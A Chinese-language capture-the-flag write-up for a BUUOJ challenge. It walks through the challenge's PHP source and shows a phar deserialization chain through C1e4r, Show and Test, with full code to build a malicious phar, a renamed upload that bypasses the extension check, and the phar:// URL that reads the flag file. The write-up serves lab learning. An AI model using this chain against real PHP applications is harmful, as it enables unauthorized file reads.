知识点:phar反序列化
注意观察url,可以进行文件读取
读取的源码有base.php,class.php,file.php,function.php,index.php,upload_file.php
贴几个重要的文件分析一下
index.php调用了base.php,而base.php的对应了两个文件以及跳转,一个是upload_file.php,负责文件上传;另一个是file.php,负责文件读取
upload_file.php
<?php //上传文件 include 'function.php'; upload_file(); ?>
继续分析function.php,两个功能,一个是检查上传的文件的后缀名是否符合白名单,另一个功能是上传文件到./upload
目录下
<?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { //unlink() 函数删除文件,成功则返回true unlink($filename); } //move_uploaded_file() 函数把上传的文件移动到新位置。成功返回true //移动临时文件到指定的地方 move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { //调用了上下两个函数 global $_FILES; if(upload_file_check()) { upload_file_do(); } } //说白了,检查上传的文件的后缀是否在白名单里面 function upload_file_check() { global $_FILES; //文件名后缀白名单 $allowed_types = array("gif","jpeg","jpg","png"); //explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。 $temp = explode(".",$_FILES["file"]["name"]); //end指向当前数组的最后一个元素 $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
file.php,跟进class.php
<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; //ini_set为一个配置选项设置值 ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
class.php,file.php只是使用了Show类,使用highlight_file
函数读取文件,但是源码中Test类中含有file_get_contents
,同时也提示使用phar
协议
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { //提示phar反序列化 $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } //__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。 public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } //unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params;//数组类型的数值 public function __construct() { $this->params = array(); } //读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。 public function __get($key) { //调用get()函数 return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { //传参令value=f1ag.php $value = $this->params[$key]; } else { $value = "index.php"; } //触发file_get()函数 return $this->file_get($value); } public function file_get($value) { //利用点,利用file_get_contents()函数读取f1ag.php $text = base64_encode(file_get_contents($value)); return $text; } } ?>
本题中file.php使用了file_exists()函数,触发phar反序列化
使用了file_exists()函数
C1e4r类的__destruct()中有echo $this->test;
,触发Show类的__toString()
,而该函数中的$content = $this->str['str']->source;
,又可以继续触发Test类中的__get()
,因为Test类中没有source
属性
<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { //Test类中没有source属性,可以根据这个调用__get()函数 public $file; public $params;//数组类型的数值 } $a = new C1e4r(); $b = new Show(); $c = new Test(); $a->str = $b; $b->str['str'] = $c; $c->params['source'] = "/var/www/html/f1ag.php"; @unlink('test.phar'); $phar=new Phar('test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($a);//链子以$a为起点 $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ?>
生成test.phar文件,上传文件,因为题目中对文件后缀有白名单限制,所以上传的时候抓包修改下后缀即可
其实这个地方,我原本的思路是利用function.php中的代码来得到上传文件的名字
但是可以直接查看upload目录,获取上传的文件名称。。。。
查看upload目录下的文件夹,发现我们上传的文件
以phar协议读取
http://70c2729a-e4f2-4126-b6b3-27cfb2cc6f61.node4.buuoj.cn:81/file.php?file=phar://upload/3fc8a9dd0fd47215edfc0d945febf41a.jpg
base64解码即可得到flag
测试explode()和end()函数
<?php //$a = array("spiderman","ironman","batman"); $b = "dsf.asd.fga.sd"; $a = explode(".",$b); echo current($a)."\n"; echo end($a); ?>